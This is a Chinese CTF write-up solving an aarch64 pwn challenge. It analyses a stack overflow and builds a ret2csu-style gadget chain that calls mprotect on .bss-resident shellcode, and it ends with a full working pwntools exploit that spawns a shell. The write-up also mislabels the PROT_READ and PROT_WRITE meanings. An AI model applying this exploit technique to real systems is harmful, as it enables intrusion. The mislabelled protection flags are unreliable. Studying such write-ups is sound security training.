前言
这是一道aarch64的PWN题目,依然觉得和x86没什么太大的区别,aarch64程序中也存在类似x86下csu_init的gadget。有区别的地方在于aarch64寄存器和汇编指令集,如果x86汇编指令集比较熟悉的话,找一篇关于aarch64的,看一看就很容易理解了
文章结尾有往期文章链接哟!编写不易,如果能够帮助到你,希望能够点赞收藏加关注哦Thanks?(・ω・)ノ
检查程序
首先我们来检查一下程序的属性
可以看到这是一个64位动态链接的aarch64程序,接下来看一下程序的保护机制:
可以看到只开启了NX保护,影响不大
运行一下程序
我们来用qemu启动一下程序,看一看主要有哪些功能,有几处可以输入的点。启动aarch64的环境在 ubuntu20.04 PWN(含x86、ARM、MIPS)环境搭建这篇文章中有详细安装教程,这里就不多介绍了
可以看到程序具有两处输入点,第一处需要输入名字,第二处随便输入点什么都可以。程序执行流程比较简单,那么接下来就扔进ida查看一下
静态分析
main()函数
可以看到main()函数中的执行流程非常的简单,首先进行初始化操作,然后输出了一个“Name”提示,然后调用read()函数向input变量中写入512个字节。可以看到input变量 是存放在bss段 的,地址为0x411068 ,最后调用了sub_4007F0()函数
sub_4007F0()函数
sub_4007F0()函数中也是非常简单的,仅仅只是一个向栈中写数据的操作。但是这里存在一个问题,我们双击v0,可以看到v0开拓的栈空间只有0x48 ,但是read()函数允许向这块栈空间输入512个字节 ,这就造成了栈溢出
mprotect()函数
中奖了!程序中有mprotect()函数,mprotect()函数可以用来修改一段指定内存区域的保护属性,函数原型为:
int mprotect(const void *start, size_t len, int prot);
- 一参
addr :修改保护属性区域的起始地址 - 二参
len :被修改保护属性区域的长度 - 三参
prot :可以取以下几个值,并且可以用“|”将几个属性合起来使用:
- PROT_READ:表示内存段内的内容
可写 (二进制:0,1,0 ,十进制:2 ) - PROT_WRITE:表示内存段内的内容
可读 (二进制:1,2,0 ,十进制:4 ) - PROT_EXEC:表示内存段中的内容可
执行 (二进制:0,0,1 ,十进制:1 ) - PROT_NONE:表示内存段中的内容根本
没法访问 (二进制:0,0,0,十进制:0)
三参prot 一般可以直接给可读可写可执行 权限,二进制为1,1,1 ,十进制7
sub_400868()函数
仔细看sub_400868()这个函数的后半部分,是不是有一种很熟悉的感觉,是不是和x86架构64位程序中的csu_init!!!!!但是并非完全一样,但是也可以向csu_init一样分成两部分gadget来看:
.text:00000000004008CC loc_4008CC ; CODE XREF: sub_400868+3C↑j
.text:00000000004008CC LDP X19, X20, [SP,#0x10] ; 将sp+0x10处数据给x19,sp+0x18处数据给0x20
.text:00000000004008D0 LDP X21, X22, [SP,#0x20] ; 将sp+0x20处数据给x21,sp+0x28处数据给0x22
.text:00000000004008D4 LDP X23, X24, [SP,#0x30] ; 将sp+0x300处数据给x23,sp+0x38处数据给0x24
.text:00000000004008D8 LDP X29, X30, [SP],#0x40 ; 将sp处数据给x29,sp+0x8处数据给0x30
.text:00000000004008DC RET ; 返回x30寄存器中存放的地址
第一段gadget:0x4008CC ~ 4008DC (后记csu_down)
csu_down的作用主要是为了从栈上 向X19-X30 寄存器中赋值,最后RET返回X30 寄存器中存放的地址。每条汇编指令对应注释已经在上面说明了,这里就不再一一介绍了。需要注意的是X29寄存器和X30寄存器虽然是最后赋值的,但是是从栈顶SP与SP+8处取值的!!! 这里一定要注意
.text:00000000004008AC loc_4008AC ; CODE XREF: sub_400868+60↓j
.text:00000000004008AC LDR X3, [X21,X19,LSL#3] ; 将x21寄存器中的值赋给x3(存放函数地址)
.text:00000000004008B0 MOV X2, X22 ; 将x22寄存器中的值赋给x2(部署3参)
.text:00000000004008B4 MOV X1, X23 ; 将x23寄存器中的值赋给x1(部署2参)
.text:00000000004008B8 MOV W0, W24 ; 将w24寄存器中的值赋给w0(部署1参)
.text:00000000004008BC ADD X19, X19, #1 ; x19寄存器中的值加一
.text:00000000004008C0 BLR X3 ; 跳转至x3寄存器中存放的地址
.text:00000000004008C4 CMP X19, X20 ; 比较x19寄存器与x20寄存器中的值
.text:00000000004008C8 B.NE loc_4008AC ; 将x21寄存器中的值赋给x3(存放函数地址)
第二段gadget:0x4008AC ~ 0x4008C8 后接csu_down(后记csu_up)
csu_up主要的功能时从X21、X22、X23、X24 寄存器分别向X3、X2、X1、X0 中赋值,其中X0、X1、X2 三个寄存器常用来存放函数的前三个参数 。接下来会将X19寄存器中的数值+1 后,直接强制跳转至X3 寄存器中存放的地址,这里其实是可以当做一个ret来使用的。接着回去比较X19与X20 寄存器中的数值,如果相等则不跳转 ,如果不想等则重新执行csu_up。因此如果想要继续执行接下来代码的话,就需要实现在csu_down中部署好X19与X20寄存器中的数值
思路分析
通过前面静态分析阶段,我们搜集到如下可用信息:
1、程序开启了NX保护 2、程序第一处输入点会向bss段写数据,写入起始地址为0x411068 3、程序第二处输入点存在栈溢出 4、程序中存在mprotect()函数 5、程序中存在类似csu_init的可用gadget:csu_down(0x4008CC)与csu_up(0x4008AC)
通过搜集的信息,我们大致的思路就有了:
- 因为开启了NX保护,所以无法在栈中部署shellcode。但是可以将shellcode写入bss段
- 利用栈溢出执行csu_down与csu_up,部署mprotect()函数参数,使得shellcode区域获得可执行权限
- 最后返回至shellcode存放地址,执行拿shell
构造EXP
计算缓冲区大小
虽然前面静态分析阶段已经知道栈空间的大小了,这里只是演示一下使用gdb动态调试时怎么计算缓冲区大小。首先使用qemu-aarch64启动程序这里需要使用-L 参数指定/usr/aarch64-linux-gnu/ ,具体的环境在前面ubuntu20.04 PWN(含x86、ARM、MIPS)环境搭建这篇文章汇总已经说明了。在使用-g 参数开启本地1212 端口等待gdb-multiarch链接调试:
接下来新开窗口启动gdb-multiarch,并设置架构为aarch64 ,链接本地1212 端口,cyclic创建200个字符串,按c继续执行程序:
(上图经过拼接,正常不报错且显示寄存器与汇编指令)
回到qemu窗口,在第二处输入点输入cyclic创建的200个字符,回车
这个时候可以看到,gdb-multiarch窗口程序已经在0x61617461616173 发生了中断
这里需要注意的是由于cyclic的-l参数只能支持4字节十六进制数,但是这是一个64位程序,程序中断会出现8字节十六进制数,因此在计算的时候我们需要计算低4字节 的数据0x61616173 ,可以看到缓冲区的长度overlen=72 ,即0x48。与静态分析阶段得出结果一致
部署shellcode
部署shellcode这个步骤很简单,我们只需要在程序启动后再第一个输入点输入pwntools自动生成的shellcode就可以了,需要注意的是为了后续使用csu_up与csu_down方便调用mprotect()函数,我们需要将mprotect()函数的plt地址连同shellcode 一起写入bss段:
mprotect_plt = elf.plt['mprotect']
csu_down = 0x4008CC
csu_up = 0x4008AC
overlen = 72
save_mprotect = 0x411068
save_shellcode = 0x411068 + 0x8
shellcode = asm(shellcraft.aarch64.sh())
payload1 = p64(mprotect_plt) + shellcode
hollk.sendafter('Name:',payload1)
部署ROP
接下来就到了重要的部署mprotect参数的步骤了,这里就需要配合着csu_down 与csu_up 部署栈中数据了:
这里画了一张栈图来帮助理解,首先我们使用72个字母a 来填满缓冲区,接下来使用csu_down覆盖至ret 返回位置并执行,下面重新把csu_down的部分拿出来对比着看:
.text:00000000004008CC loc_4008CC ; CODE XREF: sub_400868+3C↑j
.text:00000000004008CC LDP X19, X20, [SP,#0x10] ; 将sp+0x10处数据给x19,sp+0x18处数据给0x20
.text:00000000004008D0 LDP X21, X22, [SP,#0x20] ; 将sp+0x20处数据给x21,sp+0x28处数据给0x22
.text:00000000004008D4 LDP X23, X24, [SP,#0x30] ; 将sp+0x300处数据给x23,sp+0x38处数据给0x24
.text:00000000004008D8 LDP X29, X30, [SP],#0x40 ; 将sp处数据给x29,sp+0x8处数据给0x30
.text:00000000004008DC RET ; 返回x30寄存器中存放的地址
- 将
"hollkpwn" 字符串放在x29 寄存器中进行占位 - 将
csu_up地址 放在x30 寄存器中等待最后返回执行csu_up - 将
0x0 放在x19 寄存器中等待csu_up中+1与x20比较 - 将
0x1 放在x20 寄存器中等待csu_up中与x19比较 - 将存放
mprotect()函数的bss段地址 放在x21 寄存器中等待在csu_up中赋值给x3寄存器 - 将
0x7 作为mprotect()函数第三个参数放在x22 寄存器中等待在csu_up中赋值给x2 - 将
0x1000 作为mprotect()函数第二个参数放在x23 寄存器中等待在csu_up中赋值给x1 - 将存放
shellcode的bss段地址 作为mprotect()函数第一个参数放在x24 寄存器中等待在csu_up中赋值给w0
此时重要寄存器中状态如下:
寄存器 | 值 | 作用 |
---|
x19寄存器 | 0x0 | 等待+1后与x20寄存器中的值比较 | x20寄存器 | 0x1 | 等待与x19寄存器中的值比较 | x21寄存器 | save_mprotect_addr | 等待赋值给x3寄存器进行跳转,执行mprotect()函数 | x22寄存器 | 0x7 | 作为mprotect()函数三参赋值给x2寄存器 | x23寄存器 | 0x1000 | 作为mprotect()函数二参赋值给x1寄存器 | x24寄存器 | save_shellcode_addr | 作为mprotect()函数一参赋值给x0寄存器 | x29寄存器 | “hollkpwn” | 占位 | x30寄存器 | csu_up | 等待跳转执行 |
由于x30寄存器中存放的是csu_up,所以在csu_down结尾ret返回后执行csu_up ,下面重新把csu_down的部分拿出来对比着看:
.text:00000000004008AC loc_4008AC ; CODE XREF: sub_400868+60↓j
.text:00000000004008AC LDR X3, [X21,X19,LSL#3] ; 将x21寄存器中的值赋给x3(存放函数地址)
.text:00000000004008B0 MOV X2, X22 ; 将x22寄存器中的值赋给x2(部署3参)
.text:00000000004008B4 MOV X1, X23 ; 将x23寄存器中的值赋给x1(部署2参)
.text:00000000004008B8 MOV W0, W24 ; 将w24寄存器中的值赋给w0(部署1参)
.text:00000000004008BC ADD X19, X19, #1 ; x19寄存器中的值加一
.text:00000000004008C0 BLR X3 ; 跳转至x3寄存器中存放的地址
.text:00000000004008C4 CMP X19, X20 ; 比较x19寄存器与x20寄存器中的值
.text:00000000004008C8 B.NE loc_4008AC ; 将x21寄存器中的值赋给x3(存放函数地址)
- 将
x21 寄存器中的mprotect()函数存放地址 赋值给x3 寄存器中 - 将
x22 寄存器中的mprotect()函数三参0x7 放在x2 寄存器中 - 将
x23 寄存器中的mprotect()函数二参0x1000 放在x1 寄存器中 - 将
x24 寄存器中的mprotect()函数一参shellcode起始地址 放在x0寄存器中 - 跳转值
x3 寄存器执行mprotect(shellcode_addr, 0x1000, 0x7) ,将shellcode起始至0x1000偏移范围内赋予可读可写可执行权限 x19 寄存器中的值此时为0x0,+1后变为0x1 x20 寄存器中的值为0x1 ,与此时x19 寄存器中的值0x1 进行对比- 对比相同
不进行跳转
此时重要寄存器中状态如下:
寄存器 | 值 | 作用 |
---|
x0 | save_shellcode_addr | mprotect()函数一参 | x1 | 0x1000 | mprotect()函数二参 | x2 | 0x7 | mprotect()函数三参 | x3 | save_mprotect_addr | 等待跳转执行mprotect()函数 |
此时已经成功将shellcode所在区域赋予可读可写可执行权限了,接下来csu_up由于不进行跳转,会重新回到csu_down中 。那么接下来就会不断地从栈顶sp+0x10 ~ sp+0x38 位置取值放在x19 ~ x24 寄存器中,因为后续的过程不再需要 x19 ~ x24了,所以任由栈上的废数据压就可以了。不过接下来会从栈顶sp 与sp+0x8 的位置取值放在x29、x30 寄存器中,这里就不能压废数据了,因为需要在x30寄存器中部署shellcode地址 ,所以接着前面的payload在sp 位置放置"hollkpwn" 给x29寄存器占位,sp+0x8 位置放shellcode存放地址 给x30寄存器
此时重要寄存器种状态如下:
寄存器 | 值 | 作用 |
---|
x29 | hollkpwn | 占位 | x30 | shellcode_addr | 等待返回执行shellcode |
因此payload构造如下:
payload2 = b'a'*overlen + p64(csu_down)
payload2 += b'hollkpwn' + p64(csu_up) + p64(0) + p64(1)
payload2 += p64(save_mprotect) + p64(0x7) + p64(0x1000) + p64(save_shellcode)
payload2 += b'hollkpwn' + p64(save_shellcode)
最后直接在第二处输入点输入payload2即可拿shell喽!!!!
EXP
1 from pwn import *
2
3 hollk = process(["qemu-aarch64", "-L", "/usr/aarch64-linux-gnu", "./pwn"])
4 elf = ELF('./pwn')
5 context.log_level = "debug"
6 context.arch = 'aarch64'
7 context.os = "linux"
8
9 mprotect_plt = elf.plt['mprotect']
10 csu_down = 0x4008CC
11 csu_up = 0x4008AC
12 overlen = 72
13 save_mprotect = 0x411068
14 save_shellcode = 0x411068 + 0x8
15 shellcode = asm(shellcraft.aarch64.sh())
16
17 payload1 = p64(mprotect_plt) + shellcode
18 hollk.sendafter('Name:',payload1)
19
20 payload2 = b'a'*overlen + p64(csu_down)
21 payload2 += b'hollkpwn' + p64(csu_up) + p64(0) + p64(1)
22 payload2 += p64(save_mprotect) + p64(0x7) + p64(0x1000) + p64(save_shellcode)
23 payload2 += b'hollkpwn' + p64(save_shellcode)
24
25 hollk.send(payload2)
26
27 hollk.interactive()
执行结果
往期回顾
ARM PWN:Codegate2018_Melong详细讲解 通过一道ARM PWN题引发的思考:jarvisOJ_typo ubuntu20.04 PWN(含x86、ARM、MIPS)环境搭建 好好说话之House Of Einherjar (补题)HITCON 2018 PWN baby_tcache超详细讲解 好好说话之IO_FILE利用(1):利用_IO_2_1_stdout泄露libc (补题)LCTF2018 PWN easy_heap超详细讲解 好好说话之Tcache Attack(3):tcache stashing unlink attack 好好说话之Tcache Attack(2):tcache dup与tcache house of spirit 好好说话之Tcache Attack(1):tcache基础与tcache poisoning 好好说话之Large Bin Attack 好好说话之Unsorted Bin Attack 好好说话之Fastbin Attack(4):Arbitrary Alloc (补题)2015 9447 CTF : Search Engine 好好说话之Fastbin Attack(3):Alloc to Stack 好好说话之Fastbin Attack(2):House Of Spirit 好好说话之Fastbin Attack(1):Fastbin Double Free 好好说话之Use After Free 好好说话之unlink …
|